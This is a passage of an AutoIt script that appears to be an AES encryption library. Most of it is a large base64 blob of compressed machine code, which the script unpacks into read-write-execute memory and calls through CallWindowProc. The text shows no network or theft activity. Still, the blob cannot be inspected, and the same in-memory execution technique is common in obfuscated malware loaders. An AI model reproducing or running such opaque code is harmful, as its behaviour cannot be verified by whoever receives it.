'E1CPLe/viez9wLnuN+PV6j+Leej9wWHqN+R8Kogg/eIJ5jfhJeY/iMnk/cKx4jfhiaI/iS2g/cMVnh8jSWl5DRwInWp6ncgiAegwxwL4CEhCxN+opUvuA88QUCsPrEpAB+vFMVheNdhDfT4iWec4KxDIMfMCMI+BWkO+y6BEICjnJxyHtZOwiDBHrCUE2geMjcj3DoulAx4aMesX16jDJiyOEjgfLMwSsDM7toCAkqq2Zps4kXlbjCI+kMW/KdlQxjc9WDBTLqY47CLyoTF6JTetPuRzeAoVQ61WH3ojVgVWn5aHeViFdVfb+VY/kDT/xo1QPoX9UD7FGVBrZmzIUUOXe/oTFUz6EoVM+xGhTehBUU/+TaHjeQlK8w0NS7IpHUvFzUnZWv3Cl3tDlUYfYrFGP4pVRNfgiUYV5Bw/hzlAfxLdQa/FEUArxKVAPsfBPH8TZT2vxZk8K8UtPD7ISFUL7TjX4iE6FeG1Oh9g0To/kHW6hqk0K97RNPsRWTX8RP02vxMxMK8SxTD7EeEx/EWFMr8TuSyvE00s+xIk7fxFyO/xepd9srDOEKayH5W9Qso8W9Q3aNoXeWOQ6jS8Wv0VsuRTB2o/eMF47wFvUYapSmamtYJ56A8Hnxw9KAnDhEAnPyhIKBT8yARwIA4k4HhZyB9TmICEGGc4TBFIGBY8h54lw7BhafAtQ4yIKhETLCKsG3R8iz4lY0D9q/ELlIQ4Z6SEMQQZSDf3ih0TRiUjhUOhePkTwOFgP7WlMcc0DqonNweIYj9odvAkQMe8opAuQCEEYQWnl/8NEAhMYiXiURv6LPRQ289weZNmiHAgNQngEiFJNfxAgiCREKCIsAsB9EQgbojARNAg4hEA8c4ZGDOhAhEJEIUgQTCEmkRC6IVAQVJxhEFx2QnwjFHRCYCFkEGiIbBCMyBjdEHCIdE9wiHwQP8gc163Ly4ahKLCECMWmmIgbCKy7jGIRsuZ7ESAbopA5lB3GOZwMjYZDJLwUgcoC1wSgcqQ5qAjLyBCsh8eA8AoB' $Code&='RcZFCqC4FwzzOIkM/m7pqWaE2uUszYTrCn4giShAeueFkM/doUmF+3iS2nIE5izOhu0KTfx+i/xiDhRDDCMNE1ygClhkDE0TYhIUhAZWESYgBEQQF4xCFjLZIRSCBlIV7ib9ATh6Eigk3cL5diAsmonLJMHrWR4cO3iB3QLZpAsIEBhcj1NZQBMYiWgzXX6EoiIvm8rzoc9KM4KjhibxUM95iGgEid1PZeIwETQIOI0QPOJAEUQCahkIG6JIEUwIUI0QVOTK1CoFZUYM6GCEQmR7jRBs4nARdAGgeAgQjdF4CHyJsGKpQmjLmBKxOmtvt5UvcSMUXliot9NIv5TlmGx3nI2RoMikYrh3ERgbpxjDPCQj9Ky4w4WYtBIMx6DG30DjCPnI6LxkRDWE+/hfTZIo7SWxUTUPj1XJ/eB+geG7UxCKjNX8wIv2+IT4R8QiyPDeyxDMl1aQwMKDxAznWZEUIihALHKB5gshzjrClgsWMKR5B2IGOstZtClgemieM1UOHCRrWJVcLBBEDCdmDSzUSpMtTEFuSHRceoHnCyHPu0KWVsYqWEBnFKkGFXJ+iAwRFCMbFRomn2GXGTzKGIkfGB6FEByHUh304g3TRDh5EZR1JjAjns/MgnEXNBKKidkUkqg8DHZAyc6By1ILCA0wTqpAExiKw5qq9UTqoibCll2NKwflKPHp7pvt7B6ltExCCHyWklJTpc+RJXjyP0wME26n0Bo0Mw4IxwQ9izgx66mUYQB0EXAEEu+MqrbdmVLA7g+26473pTC+AMYmcEC3UgSuiERSwZrpPJlGqrxQjRBU4lgRXAI8GQgbomA0QmSeoRFsryNwRHQ4eIRAfJJCcyMMXrkEoa3EqKIERrB8lAJE6WRrtpOJrw+5JagoALxb9PK9Qb/eeb2I0HKKcBDC3RGg8qQe+xysjfGwHyO0ZLhyvBkODBSN0cAfIcTkyHLMHICNz8Fv77pOut43pN0qzqQLGBAYZLrnNBATxMjQiDN8MhTUMQg' & _ 'C2CIx+4S63DFUcQgYhRXfXZl+/pQm+2je5ZZiQTyZ3feO4EhRBIHkF6lpaugtSonsReTE4HIUG8DsCIu9SZlE0RA/1wvw+CB0TcQLfwwPEEgnABh1G+suPZEbHJBPdCU8L2Ofuyy6gJAQB7jcHxfrDalM/WuAZJvx/+P5GlgOZET1DIUIr/ky6ghbVREgIjRAOFqB4wsgy3UyQPNygeYHmcaIlT+Mr2p42TUtPLll8SEIXgboTv9qiACIUqgpc4xCDogMSVOat1L5lK4J9ei0a/bRRAyizY8zabICr6VvKxOWUPw+NBKywc4PnfEbGcruQaHmDQIVGBsQNt4zMxQJDNUkr6msJMvHGoADgNAHjRxb5jRQ2xF/zwMBU8MX3kSGHe6ANHaB9jEOIVASHf9J8f6iOgxk9pn9xMVIKe0ObG0bCMSD9+47R90szS1qehP1Ut3l9aQZzLS24qlJVUUf2tEWpQVmCCqQ7AS7nqqojZB8QxzfIVJk+FaYjyEM9EA83qWDn/4U95uzz0Lcj+WCHP3icUIQyV3+My9ZESbeTW7s7g4QqMOwnLYvaSuuB1nraxr4Q4OyigIibV7r6KITGNhdz/GnGT5fgxXUieZlFOqu9do8GYfpAQxJQtDJiBGkb1MrmXOBzUS1Sx3tYc/rS/Yt+xEb61stNjMrTtbiVpAm9w2yybCn0xOlhvdlLz7ZNajVkwlkqGT5REzp+dokiDIMDQfyWfkm3+SMmAUcjkA0zoO0RB1s9x9F2j1i26XlomSlcwUU1dkJ2k0FucDzpdyfyxTZHfI8BNmLIlBDz5lt6OJNIRIt7wI8fwX/Mv35wvSk2M2Y1u6CRFlb3lgK/EhwuhRTBNpB8vPdH8d9bwcreKUgCDfutXxI6xQX98poOzNdcxEyaxdYDDJ0FDnzF8hUgRUMt9yZaZWcaLp4LP+ZrekqmPh6yixlTOYzL9pS3kq/hRbr9fHOiOuWaZBC34laeDKB/RUnljvzIpVfF1Y4XJqASWqJSD2HNVw89l482WsZ72Cg' $Code&='Fc3riQ1jMfzdpd2W9RZpPTFEMwrp7i3ZM6YrpGTPkhbxZExd+SmP2YjNLwTZUIzQ7oxCVIhYcVxjwNI4u2JPaXSs1MCPu3yFy/RgJG1u3RPxKpos85N52TLUot/nfablcfEqIkX5ti28bbROjbdCss5st0bLIM/E/HhAms4hRERIOEyJHArEe2giGBkcD3yHRBQ3aP9EMGg0hRA44jzMnq/OiJRnRBwyFB75Dp6hu1yF+lLO+yT+G2JwIKXVBGfp+FEoDiIsRwx8gc0HaIirZohoIGQMcs3RIaPpyBUyDOniGpXMPM5qy9SPjhiJ/hfMMsL346DEU5nSLNGaEg2xG74vTmjTaKITSb0UCfUYM7p9t2pyVsAI1GWecKdE5EY0yN5z3CsHifIx2iTRiCkzm74UGAx4l4wU0EjPvFB2o7qwg8QgnRxkRDBEiUgf14mkjx5aB+vjxQ8Qy92hS5kNmH29S99v0yJomPran5XPb/lSzBk/ftJ/m7biHMlpBRA9X70sTrPf4vtlGShMlHF0NTHrSifZhc2joCTd7cUI+Ql3nlvnzVTPNKk3To4FlqJdgsqJ0dMK5dFqq98U06n8iaGl1Uqn8rQpAn5WY3Y+x96yOl8QmYlM04LeI57a/fuMQ9PImaWR6QjR82dm0+ViNmitM/xbOzU+i1ok2zLR9TEEGd7xN1G4P2LiM2SM0AmbuBiN0RgbiBhrYtIcnNAbna2iIJ5GvCIYRRTSFxEUuiMUcRQOoiAEoGIUJAxdIXEMG6IMNxAM6mlCedcs7eUQie8LnogQ3REQuBCORiifYXkEOzFpM1SSndPfcyPTXErW2j7I1WUsKJIoi+xeI+QoEuNFTKI11tzwu7GGQJlnQl+TKNjfhcXfvCWXzWnaldEW+5oQsv4kLDoiLHjft5EnfJJF96WymxyLGUoq2BTf6s2C3Mdp81Em3TpFrwkN7ywCBLh+W8QUXTItIC6QI5gRDHSJHBdIEZyIELpEBIukqmO16iIhKOkChE0' & _ '/ECwgze0RKF5+dUIoP92FxN0y61aoXJyD9ZAs6Cy0zU7XpGjfkPiC1btDSRYP1EmXLByIkz/ori/LiORYCJiMk0JEXFAEElhwLT/+KAQJWHQWPL2UlUl4OX2KDwSpfJd1ifJcXoHpPXWRbB39iaNXt8tpYkNp4e8h8zdPaRY6cWRUkXVieGBZT+kWciV4ZDrERW+JeGhOOZFsYnhs5a4kaVpXhAXay2Z9TFRjvMVfW93bJ2OyfCPvibQr7GhNWGCoWPMyXeJAFxBEuEiNEEy8lUtat0RIXfriMB8QNLg4hcQ8LiMgTxC8aEpZt1BIXe+l7AMtKGvOV2Ymf0ssiLLzkSC+pxCaS+XnJA0pErunGCuSs9XrHCdLCAQAWKs13QkB/gERuYnXbyftiET9CvoLkAh1SOoSIeKKPJGRSIESOL2WKgT0JFgIim785VnD+TAPIkDlEljeblZrCgruX/0z/RKY4KJj6BCB5AuyDAToLkqi1qT58CXsRWLRBA6IBPRMzgOz3uLzVGJxBD95AM5hMPulRuTlWc1AJN9zafuvkM5ehWzpx0qyWawYp6NEGG6IGNRGGLLUMlW/1hQUo+gUjdEUGogU1kbYSuNT0iMLHEoM51MJ0YnKiPpVkOoUFFKAKNIRi3TVx13F0yqdIdbT4sudm4qJ1ZnR2t3KAtc53BS8DsTGVK2Qj91vtNCS8xKtKieQqHTxG6IcNxAc18U2t4kiCPsXiVFXWcAYHL659W81nqfoXnQwI6jEEhCn9atCnq14xSXITvVtHFwGCpyaJDWbwjQktZoKLCSZdRA8To2UBIGVeYnQ306uIpWyCWvkbTA4otv083ppHDyo+YkoiXztiFJeNvUh0eQEdKjBuLCdPzlRLAp6lbPNzH2JQqi00zn1FTSep9henTJ1VTc7WThKkiI0+xeI+TQ7NWnHQtTOypZbCCuaCWpPc/2uReTfLkrX/ahu0LrIOHRBOD3Aa+JEa/0uNP7rzdX2qRlxAOlZ0SXb6xIc47+IMLpApJc265WxxagX' $Code&='pevZPZEtPHSfRg6alZVO01gIyJUfTLauXjpE5W8ZIQRRBB3iPk44jhqILLpCtL0wiZh+VmnjvyIpNMkIuFzuxQTod6g0S03d9K1h53c+QuWxfg2T26Lp1uD7zPbjqfHrPEbpEs4geeH6RiZGgLKEHZCIgukzDGcjkYxBpkoHSSIa2TMSalF9lF7rMh2kvPTqxDQkqDOttChKTsE4y920C3ksuQql0UZYaHCVtGC4S7lPCWh0WWBLK8AYxGh4lztyLic0RWRo6Moy/4EEV5wMQLomQ0uJBGzyePvSGbkM8t5VnDxb8nxU8o9E1bo6+FA775kOcN0zRHTW9O6MW/d1Vos0E3hgOwsTeGQrCCd40J+RAm+pbBj/6DFwRuFyJpIeBGHk3y5Pzje9ZiGzPLXeIE/JN/IXi3hQnRqLeFSVF494WOnrlgexGEd42agHsiXER0OyILonIUlupNZXqYbSZSyqeYhjE9LiS78hONE4YxkjIM0jLSSeI+kCGWhA8ZXsRzC8EUJoRHRpUtCCtIZJ/GIZ2Rs8F0gXTGoYkvNMq1YBsyy1zhmiMB8QNLg4hcQ8ENEn3pxbQKoPT0edhiMSiN90St+JPxSl4l++j3j3Kyc+eF0jt/53dx+ULKyRtJIC8XUMIgz1nU4BdYmUCNsnuvNRCt7nAvWW53z9Su+j+JGFXAKpCZom0F4yv/Vk66ThXv3dIPKTxidI/lIdfu7QPfCWqKJ1nyx/DhSLxBDOLnwbZwj4J2Q9sMbIMzQRHErHlfVF7nJb7xLHDif6RE7zthIk9+txNALOCN0SMLKpEnAEshJ3nelcSOJ/nxeRQKhShP0ILImQggN1HOsvf7IbfxUcbqjU0AXfjQhW7M8bTFBpjF7154MQMxJSGwkiCWpE1TCJNhKlJDhIv5FAIqNEnoGJ8xLXJPtIfJHjIjlEgpuJLxL/JIdINJGOIkNERMSJ3hLpJMtIVJF7IpREMqaJwhIjJD1I7pFMIpVEC0KJ+hLDJE5ICJEuIqF' & _ 'EZiiJ2RIkJLJIdpFbIqJESW2JixLRJCVIcpH4IvZEZIaJaBKYJBZI1JGkIlxEzF2JZRK2JJJIbJFwIkhEUP2J7RK5JNpIXpEVIkZEV6eJjRKdJIRIkJHYJqsp6eqP8tNk0wkKSPeR5CJYRAW4ibMSRSQGSNCRLCIeRI/KiT8SDyQCSMGRryK9RAMBiRMSiiRrSDqRkSIRREFPiWcS3CTqSJeR8iLPRM7wibQS5iRzSJaRrCJ0RCLnia0SNSSFSOKR+SI3ROgciXUS3yRuSEeR8SIaRHEdiSkSxSSJSG+RtyJiRA6qiRgSviQbSPyRViI+REvGidISeSQgSJqR2yLARP54ic0SWiT0SB+R3SKoRDOIiQcSxyQxSLGREiIQRFkniYAS7CRfSGCRUSJ/RKkZibUSSiQNSC2R5SJ6RJ+TickSnCTvSKCR4CI7RE2uiSoS9SSwSMiR6yK7RDyDiVMSmSRhSBeRKyIERH66iXcS1iQmSOGRaSIURGNViSESDCR9VmoBqqhel74RAFH0p1B+QWVTABoXpMM6J16WADura8sfnUXxHqz6WIBL4wOTIDDyVQOtdm32iMyokfUCAEwlT+XX/MUqdcsAJjVEgLVio48A3rFaSSW6G2cAReoOmF3+wOEAwy91AoFM8BIAjUaXo2vT+cYAA49f5xWSnJUOv21666BSWdrUvgCDLVh0IdNJ4ABpKY7JyER1wh6JavRAeXiZWD5rACe5cd2+4U+2APCIrRfJIKxmAH3OOrRj30oYAOUaMYKXUTNgAGJTf0WxZHfgALtrroT+gaAcAPkIK5RwSGhYD49F/Rkg3myHUnsA+Lerc9MjcksAAuLjH49XZlX8KgCy6ygHL7XCAwCGxXua0zcIpX8wDofyI7/gsgIDaroA7RaCXIrPHCsAp3m0kvMH8vAATmnioWXa9M0ABgW+1dE0Yh8OxKb+iuAuU52i8x5VoAWA4TKk9ut1AAuD7DlAYO+qAF5xnwa9bhBRAz4hivmW3ds9n5AFrk3mAL1GkVSNtXHE' $Code&='fV0ABAbUb2BQFf8AGZj7JNa96ZcAiUBDzGfZnncfsOhCnwdAi4jnGVs4AHnI7tuhfApH5kICD+n4hB7JEAmAA4aDMivtSPARcKwAbFpyTv0O//sAD4U4Vj2u1R4HNi05JwrQ2WRoXACmIZtbVNEkNgAuOgwKZ7GTVwDnD7TultIbmwCRnoDAxU9h3AAgolp3S2kcEgAaFuKTugrAoAMq5Twi4EP4GxcdAA4JDQvyi8etAC22qLkUHqnIAFfxGYWvdQdMAO6Z3bujf2D9APcBJp9ccvW8AERmO8Vb+340AItDKXbLI8bcALbt/Gi45PFjPdcxncpCgIUQE5ciQA+ExhEgQEokfdK7Bz34rvky0McpoW0AHZ4vS9yyMPMADYZS7HfB49AAK7MWbKlwuZkAEZRI+kfpZCIAqPyMxKDwPxoPVn0s2KAzkO+HSQBOx9k40cGMygCi/pjUCzam9QCBz6V63ijatwCOJj+tv6QsOgCd5FB4kg1qXwDMm1R+RmL2jQATwpDYuOguOZjCAILDr/WfXYC+AGnQk3xv1S2pAM8lErPIrJk7ABAYfafonGNuetsDu3vNJngJyFkY9APsmrcBg0+oqOaV/GU7qv8AfiG8zwjvFX/oALrnm9lKbzbOAOqfCdQpsHzWATGksq8qPyPcxqUAlDA1ombAdE4AvDf8gsqm4JAA0LAzp9gV8QQAmEpB7Nr3f80AUA4XkfYvdk0H1o1D77BjzKrIVOSWAATfntG140xqAIgbwSwfuEZlAFF/nV7qBAGMADVd+od0c/sLAEEus2cdWpLbANJS6RBWM23WAEcTmtdhjDehAQx6WfgUjuv4PIkAzqkn7rdhyTUA4Rzl7XpHsTwAnNLfWVXycz8OGBTOecDHN79T9wDN6l/9qlvfPQBvFHhE24bKrwDzgbloxD44JAA0LMKjQF8WHQDDcrziJQwoPABJi/8NlUE5qB8BcQiAs97YtOScAGRWwZB7y4RhFtUytgA3bFx00LgXV0JQSAF' & _ 'TkcMilkTL8Yu0SJORVSL2RJElifwXGJGAIo9ESWeJmBLhJAJIEpGjIsZE55WJ6xLaJC1I05EpIkREaniJaxLdJLZIF5FmIrREGIKJYBJFJOBIhJEcIpREWBmJhxK3JCNI4pFXIipEBwOJmhKlJPJIspG6IlxEK5KJ8BKhJM1I1ZEfIopEnaCJMhJ1JDlIqpEGIlFE+T2JrhJGJLVeYkRv/4kkEpckzEh3vUSIiTgS2yRHSOmRyXCJgxJIJKxITpH7Ilb/EickZEghkdEiOkSxD4nSEp4kT0iikWkiFkQK5YlDEh0kC0itkbkiyESFTIm7Ev0kn0i8kcUiNER23IloEmMkykgQkUAiIER9+IvMSG2RSyLzROzQiWwSmST6SCKRxCIaRNjviccSwST+SDaRzyIoRCakieQSDSSbSGKRwiLoRF71ib4SfCSpSLOROyKnRG57iQkS9CQBSKiRZSJ+RQjuJNlIzpHUItZFr84kMEjAkTcipkSwFYlKEvckDkgvkY1yiVQS3yTjSBuRuCJ/RARdiXMSLiRaSFKRMyITRIx6iY4SiSTuSDWR7X2JWRI/JHlIv5HqIlv9EoYkgUg+kSwiX0RyDImLEkEkcUjekZwikERhcIl0EkIkp0hlkaQiXkRrRYlYEgMusSJt4xJMJNdIy5FEIqNEWhuJDhLAJHVI8JGXIvlEX5yJehJZJINIIZFpIshEiXmJPhJxJE9IrZGsIjpESjGJMxJ/JHdIrpGgIitEaP2JbBL4JNNIApGPeokoEsIke0gIkYd3iWoSgiQcSLSR8iLiRPS+iWIS/iRTSFWR4SLrROzviZ8SECSKXuJFBfokjUhdkdQiFUT76YlDEp4kQkiLkVsi7kQKD4keFwiRhiLtRHByif8SOCTVSDmR2SKmRFQuiWcS5ySWSJGRxSIgREsaiboSKiTgSBeRDSLHRKipiRkSByTdSGCRJiL1RDt+iSkSxiT8SPG9xIWJIhIRJCRIPZEyIqFELzCJUhLjJBZIuZFIImREjD+JLBKQJE5I' $Code&='0ZGiIgtEgd6JjhK/JJ1IkpHMIkZEE7iJ9xKvJIBIk5EtIhJEmX2JYxK7JHhfYkW3xi9RconPEugkm0g2kQkifESyI4mUEmYkvEjKkdAi2ESY2olQEvYk1kiwusQEibUSiCQfSFGR6iI1RHRBiR0S0iRWSEeRYSIMRBQ8iScSySTlSLGR3yJzRM43ic0SqiRvSNuR8yLERDRAicMSJSRJSJWRASKzROTBiYQStiRcSFeR9CJBRBcniasSnST6SOORMCJ2RMwCieUSKiQ1SGKRsSK6ROr+iS8STCRGSNORjyKSRG1Sib4SdCTgSMmRwnWJWBK5JOFIiJEgIs5E3xqJURJTJGRIa5GBIghESEWJ3hJ7JHNIS5EfIlVE67WJxRI3L/Eiv0QDFonPEnkkB0hpkdoiBUQ0pokuEvMvUSL2RINgiXESbiQhSN26xOaJVBLEJAZIUJGYIr1EQNmJ6BeYkRkiyER8QomEFwiRgCIrRBFaiQ4ShSSuSC28xFyJWxfYvsRXie4SmyTASNyRdyISRJOgiSISGyQJSIuRtiIeRPF1iZkSfyQBSHKRZiL7REMjie0S5CQxXaJEl8aJShK7JPlIKZGeIrJEhsGJsxJwJJRI6ZH8IvBEfTOJSRI4JMpI1JH1InpEt62JOhJ4JF9IfpGNIthEOcOJXRLQJNVIJZGsIhhFnOokJkhZkZoiT0SV/4m8EhUk50hvkZ8isESkP4mlEqIkTkiCkZAip0QE7InNEpEkTUjvkaoilkTRaoksEmUkXkiMkYciC0Rn24kQEtYk10ihkfh+iakSYSQcSEeR0iLyRBTHifcS/SQ9SESRryJoRCSjiR0S4iQ8SA2RqH6JtBJWJMtIMpFsIriXFRETY+bjJ3fMp07y2DdvnTGjMDtiU2deh8T+/RuJq/N7E8r2FyfJ7HBO+phHR52xS60+YmOidqfEnPlviXLTsxO35lMlk+zPTjbY3/efMY80P2Kr5XZHxHH5T4kx83cTBKbLJyPsM04Y2LM' & _ 'FnbEbBzpi34B2q8Tr6eOJstunEwmmcycsbKNOG9i3Wp0xu1Ic1p8xlylqYg8vfN/EU/1rnCfsF04g2LOxn7GXampiB77UQ8RK/e+JWPNzE9C2Jy2qTG9OQ9gnM58xX0UcAp2xg1A7YiefdtPFUam7iUD7HxOS9nsnOGxjT7zYy9qdsRcQamK783xHxM3tK4kT2fPFl6nLixdTzxOntnstPUxDT12YB3OfMR+BP2JX3H4jxCr994uIUxcT7vbXLRRsG1pemOvbnzEbMj9ipwrUw8UGqd+LXFsrE9P2gydi7MtalZgzeZ+xj8g/Yn9t1HvF1a07i6lTvxNW9gst6kzbT3qYhwifMU94a2IrLn6/xaapA4nG+9MT3fb/Jx/sg1q92GOKtbEbPj9iE2bWJ8UDrW+JDvPDFjW2Gy25bH9awZgHnp8xv/hrYo8RfMvF2blTi5RzbxYe5mst6UyjW1WYB9+1sU+hamJLDdzPxea5R4toU/MTmfanJw/sc09U2G8Wis0BVVUlxRFDxmOIpfh84oQ47neOmfZ7I43/8ogN1mvivTjeb46xkcUjVGAwiFACAeIDOM5njqlWKyN95/6IGbXX4mI4TauO5ux2I5qPyohFH4LinTiJyY5A+n0nh+9ewxWyWYjrjkfiyTj78I4LQa0j7LPUiGdfouL9OEWvjuojnCO/U6SI9+Ry4pY4m8COW3W3I8Lh/YgcPZPirjhMJo5qbDYjWn4/iEH19+ICOIPMjk9oNCNcUaWI9NHl4+j58eIIOOJxjpOr2CNzYjGIUyoV4j84CASODJXHI1JGI4hlncPiXjgwGI4oN5YjoQoFiA8vmuK1OA4HjgkkEiM2G4CIm9/i4j04zeuOJk4nI2l/so+z6nWInxIJ4hs4HYOOnlgsI3Q0Gosuf1IcLdxuR7K0WhHuW6DE+6RxUhz2djtHTbfWEWF9s8XO/SnEe91x4xw+Xi9HcROEEZemU8T1uXHRkXko5nHtHCxAIEdg4/wRH3mxxMi2cVsc7dRqR76NyxNGZ7dx' $Code&='2XI5xEuUcUoc3phMR9SwWBHohc/H8bvQxGvFce8cKk+qR+Xt+xEWhkPH+ZpNxNdmcTMcVRGFR5SKRRHP6fnEEARxAhwG/n9HgaBQEfB4PMREJXGfHLpLqEfjolER812jxP6AcUAcwAWPR4o/khGtIZ3EvHBxOBxI8fVPBGNex993thHBr9rEdUJxIf4gcRAcMOX/Rxr98xEOv9LEbYFxzRxMGAxHFCYTETXD7MQvvnFfeeFxlxyiiERHzC4XETmTxMRXVXGnHPL8fkeCej0RR8hkxKy6cV0c5zIZRyvmcxGVwGDFoO2BxJiecU8c0aPcR39EIhFmVCrEfjtxkByrC4hHg4xGEcrH7sQpa3G4HNMoFEc8p94RebxexOIWcQscHa3bXHbc4Ec7ZDIRVnQ6xE4UcQocHpJJR9sMBh9HSCQRbLhcxOSfccIcXb3TR25DrBHvxGLEpjlxkRyoMZVHpNPkETfyecSL1VHni9XIxENu/fxZ2nFtHLcBjUeMsdURZJxOxNJJcakc4NhsR7SsVhH68/TEB89x6hwlymVer9x6Zp8crkfpEAgRGG+6xdUhUcSISnEl9lxxLhxyOBxHJFemEfFztMTHl3HGHFHL6Ecjod0XfHd0EZw+H8QhlnFL/GFxvRzcDYtHhg+KEYXgcMSQfHE+HEJxtUfEzGYXqtdIEdgGA8QF93H2HAEcDkcSwmERo2o1xF+ucVcc+Wm5R9AXhhGRmcHEWDpxHZiGcZ4cudnhRzjr+BETK5jEsyJxERwz0mlHu6nZEXAHjsWJ9ZTEpy1xmxy2PB5HIhWHEZLJ6cUg3c7ESapxVRz/UChHeKXfEXoDjMSPWXGhHPgJiUeAGg0RF2W/xNrXceYcMYRCR8bQaBG4gkHEwylxmRywWi1Hdx4PExF717HLqFTE/G1xuxzWLBZLOqWkAYRImZGNIg1EvbGJVBJQJANIqZF9IhlEYuaJmhJFJJ1IQJGHIhVF6/okC0jskWci/UTqv4n3EpYkW0jCkRw' & _ 'irkRqWolBEgIkT0hckfR2iQgSkyRzSFORPyIMRFJliV4SKCShSA+RtSIJRDabiT0SJiRpXeJEnxuJnhJ0JC5ILZGyIu5E+/aJTRJhJM5Ie5E+InFEl/WJaBcIkSwiYEQfyIv0SL6RRiLZREveidQS6C9RImtEKuWJFhe4kdciVUSUz4kQEgYkgUjwkUQiukTj84n+EsAkikitkbwiSEQE34nBEnUvcSIwRBoOiW0STCQUSDWRLyLhRKLMiTkSVyTySIKRRyKsROcriZUSoCSYSNGRfyJmRH6riYMSyiQpSNORPCJ5ROIdiXYSOyRWSE6RHn+LtEhskeQiXURu74mmEqgkpEg3kYsiMkRDWYm3EowkZEjSkeAitET6B4klEq8kjkjpkRgi1UWI3iRySCSR8SLHRFEjiXwSnCQhXqJE3IaJhRKQJEJIxJGqIthEBQGJEhKjJF9I+ZHQIpFEWCeL9Eg4kRMis0Qzu4lwEokkp0i2kSIikkQgSYn/EngkekiPkfgigEQX2okxEsYkuEjDkbAid0QRy4n8EtYkOkhjkXwid0R78olrEm8kxUgwkQEiZ0Qr/onXEqskdkjKkYIiyUV9yiRZSEeR8CKtRNSiia8SnCSkSHKRwCK3RP2TiSYSNiQ/SPeRzCI0RKXlifEScSTYSDGRFSIERMcjicMSGCSWSAWRmiIHRBKAieIS6yQnSLKRdSIJRIMsiRoX+JFuIlpEoFKJOxLWJLNIKZHjIi9EhFOJ0RcIke0iIET8sYlbEmoky13iRDlKiUwSWCTPSNCR7yKqRPtDiU0SMySFSEWR+SICRH9QiTwSnySoSFGRoyJARI+SiZ0SOCT1XuJEttqJIRIQJP9I85HSIs1EDBOJ7BJfJJdIRJEXIsREp36JPRJkJF1IGZFzImBEgU+J3BIiJCpIkJGIIkZE7riJFBLeJF5IC5HbIuBEMjqJChJJJAZIJJFcIsJE06yJYhKRJJVI5JF5IudFyP4kbUiNkdUiTkSpbIlWEvQk6khlkXoirkQIuol4' $Code&='EiUkLkgckaYitETG6IndEnQkH0hLkb0ii0SKcIk+ErUkZkhIkQMi9kQOYYk1ElckuUiGkcEiHUSe4Yn4EpgkEUhpkdkijkSUm4keEock6UjOkVUiKETfjImhEokkDUi/keYiQkRoQYmZEi0kD17iRFS7iRYSYyR8SHeReyLyRGtvicUSMCQBSGeRKyL+RNeriXYSyiSCSMmRfXGJWRJHJPBIrZHUIqJEr5yJpBJyJMBIt5H9IpNEJjaJPxL3JMxINJGlIuVE8XGJ2BIxJBVIBJHHIiNEwxiJlhIFJJpIB5ESIoBE4uuJJxKyJHVICZGDIixFGvokbkhakaAiUkQ71omzEikk40gvkYQiU0XRYwBZASIgRPyxiVsSaiTLXaJEOUqJTBJYJM9I0JHvIqpE+0OJTRIzJIVIRZH5IgJEf1CJPBKfJKhIUZGjIkBEj5KJnRI4JPVeokS22okhEhAk/0jzkdIizUQME4nsEl8kl0hEkRcixESnfok9EmQkXUgZkXMiYESBT4ncEiIkKkiQkYgiRkTuuIkUEt4kXkgLkdsi4EQyOokKEkkkBkgkkVwiwkTTrIliEpEklUjkkXki50XI+iRtSI2R1SJORKlsiVYS9CTqSGWReiKuRAi6iXgSJSQuSByRpiK0RMboid0SdCQfSEuRvSKLRIpwiT4StSRmSEiRAyL2RA5hiTUSVyS5SIaRwSIdRJ7hifgSmCQRSGmR2SKORJSbiR4ShyTpSM6RVSIoRN+MiaESiSQNSL+R5iJCRGhBiZkSLSQPXqJEVLuJFhBew1KXmBHRWovVvCCqqtZLB0A54wJnTyYIJ+Qg3FeAsxecNisBUFjDwAA=' EndIf Local $Opcode=String(_AES_CodeDecompress($Code)) $_AES_EncryptOffset=(StringInStr($Opcode,"87DB")- 3 )/ 2 $_AES_DecryptOffset=(StringInStr($Opcode,"87C9")- 3 )/ 2 $_AES_EncryptKeyOffset=(StringInStr($Opcode,"87D2")- 3 )/ 2 $_AES_DecryptKeyOffset=(StringInStr($Opcode,"87F6")- 3 )/ 2 $_AES_EncryptECBOffset=(StringInStr($Opcode,"09C0")- 3 )/ 2 $_AES_DecryptECBOffset=(StringInStr($Opcode,"09DB")- 3 )/ 2 $_AES_EncryptCBCOffset=(StringInStr($Opcode,"09C9")- 3 )/ 2 $_AES_DecryptCBCOffset=(StringInStr($Opcode,"09D2")- 3 )/ 2 $_AES_EncryptCFBOffset=(StringInStr($Opcode,"09F6")- 3 )/ 2 $_AES_DecryptCFBOffset=(StringInStr($Opcode,"09FF")- 3 )/ 2 $_AES_CryptOFBOffset=(StringInStr($Opcode,"09E4")- 3 )/ 2 $_AES_ModeResetOffset=(StringInStr($Opcode,"09ED")- 3 )/ 2 $Opcode=Binary($Opcode) $_AES_CodeBufferMemory=_MemVirtualAlloc( 0 ,BinaryLen($Opcode),$MEM_COMMIT,$PAGE_EXECUTE_READWRITE) $_AES_CodeBuffer=DllStructCreate("byte["&BinaryLen($Opcode)&"]",$_AES_CodeBufferMemory) DllStructSetData($_AES_CodeBuffer, 1 ,$Opcode) OnAutoItExitRegister("_AES_Exit") EndIf EndFunc Func _AesPrepareKey($Key) $Key=Binary($Key) Switch BinaryLen($Key) Case 0 To 16 Local $KeyLen= 16 Case 17 To 24 Local $KeyLen= 24 Case Else Local $KeyLen= 32 EndSwitch Local $KeyBuffer=DllStructCreate("byte["&$KeyLen&"]") DllStructSetData($KeyBuffer, 1 ,$Key) Return DllStructGetData($KeyBuffer, 1 ) EndFunc Func _AesEncryptKey($Key) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() $Key=_AesPrepareKey($Key) Local $AesCtx=DllStructCreate("byte[244]") Local $AesKey=DllStructCreate("byte["&BinaryLen($Key)&"]") DllStructSetData($AesKey, 1 ,$Key) DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_EncryptKeyOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($AesKey),"uint",BinaryLen($Key)* 8 ,"int", 0 ) Return $AesCtx EndFunc Func _AesDecryptKey($Key) If Not IsDllStruct($_AES_CodeBuffer) Then _AES_Startup() $Key=_AesPrepareKey($Key) Local $AesCtx=DllStructCreate("byte[244]") Local $AesKey=DllStructCreate("byte["&BinaryLen($Key)&"]") DllStructSetData($AesKey, 1 ,$Key) 